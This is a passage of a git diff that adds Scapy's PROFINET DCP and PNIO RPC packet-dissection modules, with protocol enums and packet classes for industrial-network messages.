depends_on=lambda p: p.option), + ByteEnumField("block_error", 0, BLOCK_ERRORS), + PadField(StrLenField("padding", b"\x00", + length_from=lambda p: p.dcp_block_length % 2), 1, + padwith=b"\x00") + ] + + def extract_padding(self, s): + return '', s + + +def guess_dcp_block_class(packet, **kargs): + """ + returns the correct dcp block class needed to dissect the current tag + if nothing can be found -> dcp base block will be used + + :param packet: the current packet + :return: dcp block class + """ + # packet = unicode(packet, "utf-8") + option = orb(packet[0]) + suboption = orb(packet[1]) + + # NOTE implement the other functions if needed + + class_switch_case = { + # IP + 0x01: + { + 0x01: "DCPMACBlock", + 0x02: "DCPIPBlock" + }, + # Device Properties + 0x02: + { + 0x01: "DCPManufacturerSpecificBlock", + 0x02: "DCPNameOfStationBlock", + 0x03: "DCPDeviceIDBlock", + 0x04: "DCPDeviceRoleBlock", + 0x05: "DCPDeviceOptionsBlock", + 0x06: "DCPAliasNameBlock", + 0x07: "DCPDeviceInstanceBlock", + 0x08: "OEM Device ID" + }, + # DHCP + 0x03: + { + 0x0c: "Host name", + 0x2b: "Vendor specific", + 0x36: "Server identifier", + 0x37: "Parameter request list", + 0x3c: "Class identifier", + 0x3d: "DHCP client identifier", + 0x51: "FQDN, Fully Qualified Domain Name", + 0x61: "UUID/GUID-based Client", + 0xff: "Control DHCP for address resolution" + }, + # Control + 0x05: + { + 0x00: "Reserved (0x00)", + 0x01: "Start Transaction (0x01)", + 0x02: "End Transaction (0x02)", + 0x03: "Signal (0x03)", + 0x04: "DCPControlBlock", + 0x05: "Reset Factory Settings (0x05)", + 0x06: "Reset to Factory (0x06)" + }, + # Device Inactive + 0x06: + { + 0x00: "Reserved (0x00)", + 0x01: "Device Initiative (0x01)" + }, + # ALL Selector + 0xff: + { + 0xff: "ALL Selector (0xff)" + } + } + + try: + c = class_switch_case[option][suboption] + except KeyError: + c = "DCPBaseBlock" + + cls = globals()[c] + return cls(packet, **kargs) + + +# GENERIC DCP PACKET + +class ProfinetDCP(Packet): + """ + Profinet DCP Packet + + Requests are handled via ConditionalField because here only 1 Block is used + every time. + + Response can contain 1..n Blocks, for that you have to use one ProfinetDCP + Layer with one or multiple DCP*Block Layers:: + + ProfinetDCP / DCPNameOfStationBlock / DCPDeviceIDBlock ... + + Example for a DCP Identify All Request:: + + Ether(dst="01:0e:cf:00:00:00") / + ProfinetIO(frameID=DCP_IDENTIFY_REQUEST_FRAME_ID) / + ProfinetDCP(service_id=DCP_SERVICE_ID_IDENTIFY, + service_type=DCP_REQUEST, option=255, sub_option=255, + dcp_data_length=4) + + Example for a DCP Identify Response:: + + Ether(dst=dst_mac) / + ProfinetIO(frameID=DCP_IDENTIFY_RESPONSE_FRAME_ID) / + ProfinetDCP( + service_id=DCP_SERVICE_ID_IDENTIFY, + service_type=DCP_RESPONSE) / + DCPNameOfStationBlock(name_of_station="device1") + + Example for a DCP Set Request:: + + Ether(dst=mac) / + ProfinetIO(frameID=DCP_GET_SET_FRAME_ID) / + ProfinetDCP(service_id=DCP_SERVICE_ID_SET, service_type=DCP_REQUEST, + option=2, sub_option=2, dcp_data_length=14, dcp_block_length=10, + name_of_station=name, reserved=0) + + """ + + name = "Profinet DCP" + # a DCP PDU consists of some fields and 1..n DCP Blocks + fields_desc = [ + ByteEnumField("service_id", 5, DCP_SERVICE_ID), + ByteEnumField("service_type", 0, DCP_SERVICE_TYPE), + XIntField("xid", 0x01000001), + # XShortField('reserved', 0), + + ShortField('reserved', 0), + LenField("dcp_data_length", None), + + # DCP REQUEST specific + ConditionalField(ByteEnumField("option", 2, DCP_OPTIONS), + lambda pkt: pkt.service_type == 0), + ConditionalField( + MultiEnumField("sub_option", 3, DCP_SUBOPTIONS, fmt='B', + depends_on=lambda p: p.option), + lambda pkt: pkt.service_type == 0), + + # calculate the len fields - workaround + ConditionalField(LenField("dcp_block_length", 0), + lambda pkt: pkt.service_type == 0), + + # DCP SET REQUEST # + ConditionalField(ShortEnumField("block_qualifier", 1, + BLOCK_QUALIFIERS), + lambda pkt: pkt.service_id == 4 and + pkt.service_type == 0), + # Name Of Station + ConditionalField(StrLenField("name_of_station", "et200sp", + length_from=lambda x: x.dcp_block_length - 2), + lambda pkt: pkt.service_id == 4 and + pkt.service_type == 0 and pkt.option == 2 and + pkt.sub_option == 2), + + # MAC + ConditionalField(MACField("mac", "00:00:00:00:00:00"), + lambda pkt: pkt.service_id == 4 and + pkt.service_type == 0 and pkt.option == 1 and + pkt.sub_option == 1), + # IP + ConditionalField(IPField("ip", "192.168.0.2"), + lambda pkt: pkt.service_id == 4 and + pkt.service_type == 0 and pkt.option == 1 and + pkt.sub_option == 2), + ConditionalField(IPField("netmask", "255.255.255.0"), + lambda pkt: pkt.service_id == 4 and + pkt.service_type == 0 and pkt.option == 1 and + pkt.sub_option == 2), + ConditionalField(IPField("gateway", "192.168.0.1"), + lambda pkt: pkt.service_id == 4 and + pkt.service_type == 0 and pkt.option == 1 and + pkt.sub_option == 2), + + # DCP IDENTIFY REQUEST # + # Name of station + ConditionalField(StrLenField("name_of_station", "et200sp", + length_from=lambda x: x.dcp_block_length), + lambda pkt: pkt.service_id == 5 and + pkt.service_type == 0 and pkt.option == 2 and + pkt.sub_option == 2), + + # Alias name + ConditionalField(StrLenField("alias_name", "et200sp", + length_from=lambda x: x.dcp_block_length), + lambda pkt: pkt.service_id == 5 and + pkt.service_type == 0 and pkt.option == 2 and + pkt.sub_option == 6), + + # implement further REQUEST fields if needed .... + + # DCP RESPONSE BLOCKS # + ConditionalField( + PacketListField("dcp_blocks", [], guess_dcp_block_class, + length_from=lambda p: p.dcp_data_length), + lambda pkt: pkt.service_type == 1), + ] + + def post_build(self, pkt, pay): + # add padding to ensure min packet length + + padding = MIN_PACKET_LENGTH - (len(pkt + pay)) + pay += b"\0" * padding + + return Packet.post_build(self, pkt, pay) + + +bind_layers(ProfinetDCP, Padding) diff --git a/libs/scapy/contrib/pnio_rpc.py b/libs/scapy/contrib/pnio_rpc.py new file mode 100755 index 0000000..021518e --- /dev/null +++ b/libs/scapy/contrib/pnio_rpc.py @@ -0,0 +1,1010 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# Copyright (C) 2016 Gauthier Sebaux + +# scapy.contrib.description = ProfinetIO Remote Procedure Call (RPC) +# scapy.contrib.status = loads + +""" +PNIO RPC endpoints +""" + +import struct +from uuid import UUID + +from scapy.packet import Packet, bind_layers +from scapy.config import conf +from scapy.fields import BitField, ByteField, BitEnumField, ConditionalField, \ + FieldLenField, FieldListField, IntField, IntEnumField, \ + LenField, MACField, PadField, PacketField, PacketListField, \ + ShortEnumField, ShortField, StrFixedLenField, StrLenField, \ + UUIDField, XByteField, XIntField, XShortEnumField, XShortField +from scapy.contrib.dce_rpc import DceRpc, EndiannessField, DceRpcPayload +from scapy.compat import bytes_hex +from scapy.volatile import RandUUID + +# Block Packet +BLOCK_TYPES_ENUM = { + 0x0000: "AlarmNotification_High", + 0x0001: "AlarmNotification_Low", + 0x0008: "IODWriteReqHeader", + 0x0009: "IODReadReqHeader", + 0x0010: "DiagnosisData", + 0x0012: "ExpectedIdentificationData", + 0x0013: "RealIdentificationData", + 0x0014: "SubsituteValue", + 0x0015: "RecordInputDataObjectElement", + 0x0016: "RecordOutputDataObjectElement", + 0x0018: "ARData", + 0x0019: "LogBookData", + 0x001a: "APIData", + 0x001b: "SRLData", + 0x0020: "I&M0", + 0x0021: "I&M1", + 0x0022: "I&M2", + 0x0023: "I&M3", + 0x0024: "I&M4", + 0x0030: "I&M0FilterDataSubmodule", + 0x0031: "I&M0FilterDataModule", + 0x0032: "I&M0FilterDataDevice", + 0x0101: "ARBlockReq", + 0x0102: "IOCRBlockReq", + 0x0103: "AlarmCRBlockReq", + 0x0104: "ExpectedSubmoduleBlockReq", + 0x0105: "PrmServerBlockReq", + 0x0106: "MCRBlockReq", + 0x0107: "ARRPCBlockReq", + 0x0108: "ARVendorBlockReq", + 0x0109: "IRInfoBlock", + 0x010a: "SRInfoBlock", + 0x010b: "ARFSUBlock", + 0x0110: "IODBlockReq_connect_end", + 0x0111: "IODBlockReq_plug", + 0x0112: "IOXBlockReq_connect", + 0x0113: "IOXBlockReq_plug", + 0x0114: "ReleaseBlockReq", + 0x0116: "IOXBlockReq_companion", + 0x0117: "IOXBlockReq_rt_class_3", + 0x0118: "IODBlockReq_connect_begin", + 0x0119: "SubmoduleListBlock", + 0x0200: "PDPortDataCheck", + 0x0201: "PdevData", + 0x0202: "PDPortDataAdjust", + 0x0203: "PDSyncData", + 0x0204: "IsochronousModeData", + 0x0205: "PDIRData", + 0x0206: "PDIRGlobalData", + 0x0207: "PDIRFrameData", + 0x0208: "PDIRBeginEndData", + 0x0209: "AdjustDomainBoundary", + 0x020a: "SubBlock_check_Peers", + 0x020b: "SubBlock_check_LineDelay", + 0x020c: "SubBlock_check_MAUType", + 0x020e: "AdjustMAUType", + 0x020f: "PDPortDataReal", + 0x0210: "AdjustMulticastBoundary", + 0x0211: "PDInterfaceMrpDataAdjust", + 0x0212: "PDInterfaceMrpDataReal", + 0x0213: "PDInterfaceMrpDataCheck", + 0x0214: "PDPortMrpDataAdjust", + 0x0215: "PDPortMrpDataReal", + 0x0216: "MrpManagerParams", + 0x0217: "MrpClientParams", + 0x0219: "MrpRingStateData", + 0x021b: "AdjustLinkState", + 0x021c: "CheckLinkState", + 0x021e: "CheckSyncDifference", + 0x021f: "CheckMAUTypeDifference", + 0x0220: "PDPortFODataReal", + 0x0221: "FiberOpticManufacturerSpecific", + 0x0222: "PDPortFODataAdjust", + 0x0223: "PDPortFODataCheck", + 0x0224: "AdjustPeerToPeerBoundary", + 0x0225: "AdjustDCPBoundary", + 0x0226: "AdjustPreambleLength", + 0x0228: "FiberOpticDiagnosisInfo", + 0x022a: "PDIRSubframeData", + 0x022b: "SubframeBlock", + 0x022d: "PDTimeData", + 0x0230: "PDNCDataCheck", + 0x0231: "MrpInstanceDataAdjustBlock", + 0x0232: "MrpInstanceDataRealBlock", + 0x0233: "MrpInstanceDataCheckBlock", + 0x0240: "PDInterfaceDataReal", + 0x0250: "PDInterfaceAdjust", + 0x0251: "PDPortStatistic", + 0x0400: "MultipleBlockHeader", + 0x0401: "COContainerContent", + 0x0500: "RecordDataReadQuery", + 0x0600: "FSHelloBlock", + 0x0601: "FSParameterBlock", + 0x0608: "PDInterfaceFSUDataAdjust", + 0x0609: "ARFSUDataAdjust", + 0x0700: "AutoConfiguration", + 0x0701: "AutoConfigurationCommunication", + 0x0702: "AutoConfigurationConfiguration", + 0x0703: "AutoConfigurationIsochronous", + 0x0A00: "UploadBLOBQuery", + 0x0A01: "UploadBLOB", + 0x0A02: "NestedDiagnosisInfo", + 0x0F00: "MaintenanceItem", + 0x0F01: "UploadRecord", + 0x0F02: "iParameterItem", + 0x0F03: "RetrieveRecord", + 0x0F04: "RetrieveAllRecord", + 0x8001: "AlarmAckHigh", + 0x8002: "AlarmAckLow", + 0x8008: "IODWriteResHeader", + 0x8009: "IODReadResHeader", + 0x8101: "ARBlockRes", + 0x8102: "IOCRBlockRes", + 0x8103: "AlarmCRBlockRes", + 0x8104: "ModuleDiffBlock", + 0x8105: "PrmServerBlockRes", + 0x8106: "ARServerBlockRes", + 0x8107: "ARRPCBlockRes", + 0x8108: "ARVendorBlockRes", + 0x8110: "IODBlockRes_connect_end", + 0x8111: "IODBlockRes_plug", + 0x8112: "IOXBlockRes_connect", + 0x8113: "IOXBlockRes_plug", + 0x8114: "ReleaseBlockRes", + 0x8116: "IOXBlockRes_companion", + 0x8117: "IOXBlockRes_rt_class_3", + 0x8118: "IODBlockRes_connect_begin", +} + +# IODWriteReq & IODWriteMultipleReq Packets +IOD_WRITE_REQ_INDEX = { + 0x8000: "ExpectedIdentificationData_subslot", + 0x8001: "RealIdentificationData_subslot", + 0x800a: "Diagnosis_channel_subslot", + 0x800b: "Diagnosis_all_subslot", + 0x800c: "Diagnosis_Maintenance_subslot", + 0x8010: "Maintenance_required_in_channel_subslot", + 0x8011: "Maintenance_demanded_in_channel_subslot", + 0x8012: "Maintenance_required_in_all_channels_subslot", + 0x8013: "Maintenance_demanded_in_all_channels_subslot", + 0x801e: "SubstitueValue_subslot", + 0x8020: "PDIRSubframeData_subslot", + 0x8028: "RecordInputDataObjectElement_subslot", + 0x8029: "RecordOutputDataObjectElement_subslot", + 0x802a: "PDPortDataReal_subslot", + 0x802b: "PDPortDataCheck_subslot", + 0x802c: "PDIRData_subslot", + 0x802d: "Expected_PDSyncData_subslot", + 0x802f: "PDPortDataAdjust_subslot", + 0x8030: "IsochronousModeData_subslot", + 0x8031: "Expected_PDTimeData_subslot", + 0x8050: "PDInterfaceMrpDataReal_subslot", + 0x8051: "PDInterfaceMrpDataCheck_subslot", + 0x8052: "PDInterfaceMrpDataAdjust_subslot", + 0x8053: "PDPortMrpDataAdjust_subslot", + 0x8054: "PDPortMrpDataReal_subslot", + 0x8060: "PDPortFODataReal_subslot", + 0x8061: "PDPortFODataCheck_subslot", + 0x8062: "PDPortFODataAdjust_subslot", + 0x8070: "PdNCDataCheck_subslot", + 0x8071: "PDInterfaceAdjust_subslot", + 0x8072: "PDPortStatistic_subslot", + 0x8080: "PDInterfaceDataReal_subslot", + 0x8090: "Expected_PDInterfaceFSUDataAdjust", + 0x80a0: "Energy_saving_profile_record_0", + 0x80b0: "CombinedObjectContainer", + 0x80c0: "Sequence_events_profile_record_0", + 0xaff0: "I&M0", + 0xaff1: "I&M1", + 0xaff2: "I&M2", + 0xaff3: "I&M3", + 0xaff4: "I&M4", + 0xc000: "Expect edIdentificationData_slot", + 0xc001: "RealId entificationData_slot", + 0xc00a: "Diagno sis_channel_slot", + 0xc00b: "Diagnosis_all_slot", + 0xc00c: "Diagnosis_Maintenance_slot", + 0xc010: "Maintenance_required_in_channel_slot", + 0xc011: "Maintenance_demanded_in_channel_slot", + 0xc012: "Maintenance_required_in_all_channels_slot", + 0xc013: "Maintenance_demanded_in_all_channels_slot", + 0xe000: "ExpectedIdentificationData_AR", + 0xe001: "RealIdentificationData_AR", + 0xe002: "ModuleDiffBlock_AR", + 0xe00a: "Diagnosis_channel_AR", + 0xe00b: "Diagnosis_all_AR", + 0xe00c: "Diagnosis_Maintenance_AR", + 0xe010: "Maintenance_required_in_channel_AR", + 0xe011: "Maintenance_demanded_in_channel_AR", + 0xe012: "Maintenance_required_in_all_channels_AR", + 0xe013: "Maintenance_demanded_in_all_channels_AR", + 0xe040: "WriteMultiple", + 0xe050: "ARFSUDataAdjust_AR", + 0xf000: "RealIdentificationData_API", + 0xf00a: "Diagnosis_channel_API", + 0xf00b: "Diagnosis_all_API", + 0xf00c: "Diagnosis_Maintenance_API", + 0xf010: "Maintenance_required_in_channel_API", + 0xf011: "Maintenance_demanded_in_channel_API", + 0xf012: "Maintenance_required_in_all_channels_API", + 0xf013: "Maintenance_demanded_in_all_channels_API", + 0xf020: "ARData_API", + 0xf80c: "Diagnosis_Maintenance_device", + 0xf820: "ARData", + 0xf821: "APIData", + 0xf830: "LogBookData", + 0xf831: "PdevData", + 0xf840: "I&M0FilterData", + 0xf841: "PDRealData", + 0xf842: "PDExpectedData", + 0xf850: "AutoConfiguration", + 0xf860: "GSD_upload", + 0xf861: "Nested_Diagnosis_info", + 0xfbff: "Trigger_index_CMSM", +} + +# ARBlockReq Packets +AR_TYPE = { + 0x0001: "IOCARSingle", + 0x0006: "IOSAR", + 0x0010: "IOCARSingle_RT_CLASS_3", + 0x0020: "IOCARSR", +} + +# IOCRBlockReq Packets +IOCR_TYPE = { + 0x0001: "InputCR", + 0x0002: "OutputCR", + 0x0003: "MulticastProviderCR", + 0x0004: "MulticastConsumerCR", +} + +IOCR_BLOCK_REQ_IOCR_PROPERTIES = { + 0x1: "RT_CLASS_1", + 0x2: "RT_CLASS_2", + 0x3: "RT_CLASS_3", + 0x4: "RT_CLASS_UDP", +} + + +# List of all valid activity UUIDs for the DceRpc layer with PROFINET RPC +# endpoint. +# +# Because these are used in overloaded_fields, it must be a ``UUID``, not a +# string. +RPC_INTERFACE_UUID = { + "UUID_IO_DeviceInterface": UUID("dea00001-6c97-11d1-8271-00a02442df7d"), + "UUID_IO_ControllerInterface": + UUID("dea00002-6c97-11d1-8271-00a02442df7d"), + "UUID_IO_SupervisorInterface": + UUID("dea00003-6c97-11d1-8271-00a02442df7d"), + "UUID_IO_ParameterServerInterface": + UUID("dea00004-6c97-11d1-8271-00a02442df7d"), +} + + +# Generic Block Packet +class BlockHeader(Packet): + """Abstract packet to centralize block headers fields""" + fields_desc = [ + ShortEnumField("block_type", None, BLOCK_TYPES_ENUM), + ShortField("block_length", None), + ByteField("block_version_high", 1), + ByteField("block_version_low", 0), + ] + + def __new__(cls, name, bases, dct): + raise NotImplementedError() + + +class Block(Packet): + """A generic block packet for PNIO RPC""" + fields_desc = [ + BlockHeader, + StrLenField("load", "", length_from=lambda pkt: pkt.block_length - 2), + ] + # default block_type + block_type = 0 + + def post_build(self, p, pay): + # update the block_length if needed + if self.block_length is None: + # block_length and block_type are not part of the length count + length = len(p) - 4 + p = p[:2] + struct.pack("!H", length) + p[4:] + + return Packet.post_build(self, p, pay) + + def extract_padding(self, s): + # all fields after block_length are included in the length and must be + # subtracted from the pdu length l + length = self.payload_length() + return s[:length], s[length:] + + def payload_length(self): + """ A function for each block, to determine the length of + the payload """ + return 0 # default, no payload + + +# Specific Block Packets +# IODControlRe{q,s} +class IODControlReq(Block): + """IODControl request block""" + fields_desc = [ + BlockHeader, + StrFixedLenField("padding", "", length=2), + UUIDField("ARUUID", None), + ShortField("SessionKey", 0), + XShortField("AlarmSequenceNumber", 0), + # ControlCommand + BitField("ControlCommand_reserved", 0, 9), + BitField("ControlCommand_PrmBegin", 0, 1), + BitField("ControlCommand_ReadyForRT_CLASS_3", 0, 1), + BitField("ControlCommand_ReadyForCompanion", 0, 1), + BitField("ControlCommand_Done", 0, 1), + BitField("ControlCommand_Release", 0, 1), + BitField("ControlCommand_ApplicationReady", 0, 1), + BitField("ControlCommand_PrmEnd", 0, 1), + XShortField("ControlBlockProperties", 0) + ] + + def post_build(self, p, pay): + # Try to find the right block type + if self.block_type is None: + if self.ControlCommand_PrmBegin: + p = struct.pack("!H", 0x0118) + p[2:] + elif self.ControlCommand_ReadyForRT_CLASS_3: + p = struct.pack("!H", 0x0117) + p[2:] + elif self.ControlCommand_ReadyForCompanion: + p = struct.pack("!H", 0x0116) + p[2:] + elif self.ControlCommand_Release: + p = struct.pack("!H", 0x0114) + p[2:] + elif self.ControlCommand_ApplicationReady: + if self.AlarmSequenceNumber > 0: + p = struct.pack("!H", 0x0113) + p[2:] + else: + p = struct.pack("!H", 0x0112) + p[2:] + elif self.ControlCommand_PrmEnd: + if self.AlarmSequenceNumber > 0: + p = struct.pack("!H", 0x0111) + p[2:] + else: + p = struct.pack("!H", 0x0110) + p[2:] + return Block.post_build(self, p, pay) + + def get_response(self): + """Generate the response block of this request. + Careful: it only sets the fields which can be set from the request + """ + res = IODControlRes() + for field in ["ARUUID", "SessionKey", "AlarmSequenceNumber"]: + res.setfieldval(field, self.getfieldval(field)) + + res.block_type = self.block_type + 0x8000 + return res + + +class IODControlRes(Block): + """IODControl response block""" + fields_desc = [ + BlockHeader, + StrFixedLenField("padding", "", length=2), + UUIDField("ARUUID", None), + ShortField("SessionKey", 0), + XShortField("AlarmSequenceNumber", 0), + # ControlCommand + BitField("ControlCommand_reserved", 0, 9), + BitField("ControlCommand_PrmBegin", 0, 1), + BitField("ControlCommand_ReadyForRT_CLASS_3", 0, 1), + BitField("ControlCommand_ReadyForCompanion", 0, 1), + BitField("ControlCommand_Done", 1, 1), + BitField("ControlCommand_Release", 0, 1), + BitField("ControlCommand_ApplicationReady", 0, 1), + BitField("ControlCommand_PrmEnd", 0, 1), + XShortField("ControlBlockProperties", 0) + ] + + # default block_type value + block_type = 0x8110 + # The block_type can be among 0x8110 to 0x8118 except 0x8115 + # The right type is however determine by the type of the request + # (same type as the request + 0x8000) + + +# IODWriteRe{q,s} +class IODWriteReq(Block): + """IODWrite request block""" + fields_desc = [ + BlockHeader, + ShortField("seqNum", 0), + UUIDField("ARUUID", None), + XIntField("API", 0), + XShortField("slotNumber", 0), + XShortField("subslotNumber", 0), + StrFixedLenField("padding", "", length=2), + XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), + LenField("recordDataLength", None, fmt="I"), + StrFixedLenField("RWPadding", "", length=24), + ] + # default block_type value + block_type = 0x0008 + + def payload_length(self): + return self.recordDataLength + + def get_response(self): + """Generate the response block of this request. + Careful: it only sets the fields which can be set from the request + """ + res = IODWriteRes() + for field in ["seqNum", "ARUUID", "API", "slotNumber", + "subslotNumber", "index"]: + res.setfieldval(field, self.getfieldval(field)) + return res + + +class IODWriteRes(Block): + """IODWrite response block""" + fields_desc = [ + BlockHeader, + ShortField("seqNum", 0), + UUIDField("ARUUID", None), + XIntField("API", 0), + XShortField("slotNumber", 0), + XShortField("subslotNumber", 0), + StrFixedLenField("padding", "", length=2), + XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), + LenField("recordDataLength", None, fmt="I"), + XShortField("additionalValue1", 0), + XShortField("additionalValue2", 0), + IntEnumField("status", 0, ["OK"]), + StrFixedLenField("RWPadding", "", length=16), + ] + # default block_type value + block_type = 0x8008 + + +F_PARAMETERS_BLOCK_ID = [ + "No_F_WD_Time2_No_F_iPar_CRC", "No_F_WD_Time2_F_iPar_CRC", + "F_WD_Time2_No_F_iPar_CRC", "F_WD_Time2_F_iPar_CRC", + "reserved_4", "reserved_5", "reserved_6", "reserved_7" +] + + +class FParametersBlock(Packet): + """F-Parameters configuration block""" + name = "F-Parameters Block" + fields_desc = [ + # F_Prm_Flag1 + BitField("F_Prm_Flag1_Reserved_7", 0, 1), + BitField("F_CRC_Seed", 0, 1), + BitEnumField("F_CRC_Length", 0, 2, + ["CRC-24", "depreciated", "CRC-32", "reserved"]), + BitEnumField("F_SIL", 2, 2, ["SIL_1", "SIL_2", "SIL_3", "No_SIL"]), + BitField("F_Check_iPar", 0, 1), + BitField("F_Check_SeqNr", 0, 1), + + # F_Prm_Flag2 + BitEnumField("F_Par_Version", 1, 2, + ["V1", "V2", "reserved_2", "reserved_3"]), + BitEnumField("F_Block_ID", 0, 3, F_PARAMETERS_BLOCK_ID), + BitField("F_Prm_Flag2_Reserved", 0, 2), + BitField("F_Passivation", 0, 1), + + XShortField("F_Source_Add", 0), + XShortField("F_Dest_Add", 0), + ShortField("F_WD_Time", 0), + ConditionalField( + cond=lambda p: p.getfieldval("F_Block_ID") & 0b110 == 0b010, + fld=ShortField("F_WD_Time_2", 0)), + ConditionalField( + cond=lambda p: p.getfieldval("F_Block_ID") & 0b101 == 0b001, + fld=XIntField("F_iPar_CRC", 0)), + XShortField("F_Par_CRC", 0) + ] + overload_fields = { + IODWriteReq: { + "index": 0x100, # commonly used index for F-Parameters block + } + } + + +bind_layers(IODWriteReq, FParametersBlock, index=0x0100) +bind_layers(FParametersBlock, conf.padding_layer) + + +# IODWriteMultipleRe{q,s} +class PadFieldWithLen(PadField): + """PadField which handles the i2len function to include padding""" + def i2len(self, pkt, val): + """get the length of the field, including the padding length""" + fld_len = self._fld.i2len(pkt, val) + return fld_len + self.padlen(fld_len) + + +class IODWriteMultipleReq(Block): + """IODWriteMultiple request""" + fields_desc = [ + BlockHeader, + ShortField("seqNum", 0), + UUIDField("ARUUID", None), + XIntField("API", 0xffffffff), + XShortField("slotNumber", 0xffff), + XShortField("subslotNumber", 0xffff), + StrFixedLenField("padding", "", length=2), + XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), + FieldLenField("recordDataLength", None, fmt="I", length_of="blocks"), + StrFixedLenField("RWPadding", "", length=24), + FieldListField("blocks", [], + PadFieldWithLen(PacketField("", None, IODWriteReq), 4), + length_from=lambda pkt: pkt.recordDataLength) + ] + # default values + block_type = 0x0008 + index = 0xe040 + API = 0xffffffff + slotNumber = 0xffff + subslotNumber = 0xffff + + def post_build(self, p, pay): + # patch the update of block_length, as requests field must not be + # included. block_length is always 60 + if self.block_length is None: + p = p[:2] + struct.pack("!H", 60) + p[4:] + + # Remove the final padding added in requests + fld, val = self.getfield_and_val("blocks") + if fld.i2count(self, val) > 0: + length = len(val[-1]) + pad = fld.field.padlen(length) + if pad > 0: + p = p[:-pad] + # also reduce the recordDataLength accordingly + if self.recordDataLength is None: + val = struct.unpack("!I", p[36:40])[0] + val -= pad + p = p[:36] + struct.pack("!I", val) + p[40:] + + return Packet.post_build(self, p, pay) + + def get_response(self): + """Generate the response block of this request. + Careful: it only sets the fields which can be set from the request + """ + res = IODWriteMultipleRes() + for field in ["seqNum", "ARUUID", "API", "slotNumber", + "subslotNumber", "index"]: + res.setfieldval(field, self.getfieldval(field)) + + # append all block response + res_blocks = [] + for block in self.getfieldval("blocks"): + res_blocks.append(block.get_response()) + res.setfieldval("blocks", res_blocks) + return res + + +class IODWriteMultipleRes(Block): + """IODWriteMultiple response""" + fields_desc = [ + BlockHeader, + ShortField("seqNum", 0), + UUIDField("ARUUID", None), + XIntField("API", 0xffffffff), + XShortField("slotNumber", 0xffff), + XShortField("subslotNumber", 0xffff), + StrFixedLenField("padding", "", length=2), + XShortEnumField("index", 0, IOD_WRITE_REQ_INDEX), + FieldLenField("recordDataLength", None, fmt="I", length_of="blocks"), + XShortField("additionalValue1", 0), + XShortField("additionalValue2", 0), + IntEnumField("status", 0, ["OK"]), + StrFixedLenField("RWPadding", "", length=16), + FieldListField("blocks", [], PacketField("", None, IODWriteRes), + length_from=lambda pkt: pkt.recordDataLength) + ] + # default values + block_type = 0x8008 + index = 0xe040 + + def post_build(self, p, pay): + # patch the update of block_length, as requests field must not be + # included. block_length is always 60 + if self.block_length is None: + p = p[:2] + struct.pack("!H", 60) + p[4:] + + return Packet.post_build(self, p, pay) + + +# ARBlockRe{q,s} +class ARBlockReq(Block): + """Application relationship block request""" + fields_desc = [ + BlockHeader, + XShortEnumField("ARType", 1, AR_TYPE), + UUIDField("ARUUID", None), + ShortField("SessionKey", 0), + MACField("CMInitiatorMacAdd", None), + UUIDField("CMInitiatorObjectUUID", None), + # ARProperties + BitField("ARProperties_PullModuleAlarmAllowed", 0, 1), + BitEnumField("ARProperties_StartupMode", 0, 1, + ["Legacy", "Advanced"]), + BitField("ARProperties_reserved_3", 0, 6), + BitField("ARProperties_reserved_2", 0, 12), + BitField("ARProperties_AcknowledgeCompanionAR", 0, 1), + BitEnumField("ARProperties_CompanionAR", 0, 2, + ["Single_AR", "First_AR", "Companion_AR", "reserved"]), + BitEnumField("ARProperties_DeviceAccess", 0, 1, + ["ExpectedSubmodule", "Controlled_by_IO_device_app"]), + BitField("ARProperties_reserved_1", 0, 3), + BitEnumField("ARProperties_ParametrizationServer", 0, 1, + ["External_PrmServer", "CM_Initator"]), + BitField("ARProperties_SupervisorTakeoverAllowed", 0, 1), + BitEnumField("ARProperties_State", 1, 3, {1: "Active"}), + ShortField("CMInitiatorActivityTimeoutFactor", 1000), + ShortField("CMInitiatorUDPRTPort", 0x8892), + FieldLenField("StationNameLength", None, fmt="H", + length_of="CMInitiatorStationName"), + StrLenField("CMInitiatorStationName", "", + length_from=lambda pkt: pkt.StationNameLength), + ] + # default block_type value + block_type = 0x0101 + + def get_response(self): + """Generate the response block of this request. + Careful: it only sets the fields which can be set from the request + """ + res = ARBlockRes() + for field in ["ARType", "ARUUID", "SessionKey"]: + res.setfieldval(field, self.getfieldval(field)) + return res + + +class ARBlockRes(Block): + """Application relationship block response""" + fields_desc = [ + BlockHeader, + XShortEnumField("ARType", 1, AR_TYPE), + UUIDField("ARUUID", None), + ShortField("SessionKey", 0), + MACField("CMResponderMacAdd", None), + ShortField("CMResponderUDPRTPort", 0x8892), + ] + # default block_type value + block_type = 0x8101 + + +# IOCRBlockRe{q,s} +class IOCRAPIObject(Packet): + """API item descriptor used in API description of IOCR blocks""" + name = "API item" + fields_desc = [ + XShortField("SlotNumber", 0), + XShortField("SubslotNumber", 0), + ShortField("FrameOffset", 0), + ] + + def extract_padding(self, s): + return None, s # No extra payload + + +class IOCRAPI(Packet): + """API description used in IOCR block""" + name = "API" + fields_desc = [ + XIntField("API", 0), + FieldLenField("NumberOfIODataObjects", None, + count_of="IODataObjects"), + PacketListField("IODataObjects", [], IOCRAPIObject, + count_from=lambda p: p.NumberOfIODataObjects), + FieldLenField("NumberOfIOCS", None, + count_of="IOCSs"), + PacketListField("IOCSs", [], IOCRAPIObject, + count_from=lambda p: p.NumberOfIOCS), + ] + + def extract_padding(self, s): + return None, s # No extra payload + + +class IOCRBlockReq(Block): + """IO Connection Relationship block request""" + fields_desc = [ + BlockHeader, + XShortEnumField("IOCRType", 1, IOCR_TYPE), + XShortField("IOCRReference", 1), + XShortField("LT", 0x8892), + # IOCRProperties + BitField("IOCRProperties_reserved3", 0, 8), + BitField("IOCRProperties_reserved2", 0, 11), + BitField("IOCRProperties_reserved1", 0, 9), + BitEnumField("IOCRProperties_RTClass", 0, 4, + IOCR_BLOCK_REQ_IOCR_PROPERTIES), + ShortField("DataLength", 40), + XShortField("FrameID", 0x8000), + ShortField("SendClockFactor", 32), + ShortField("ReductionRatio", 32), + ShortField("Phase", 1), + ShortField("Sequence", 0), + XIntField("FrameSendOffset", 0xffffffff), + ShortField("WatchdogFactor", 10), + 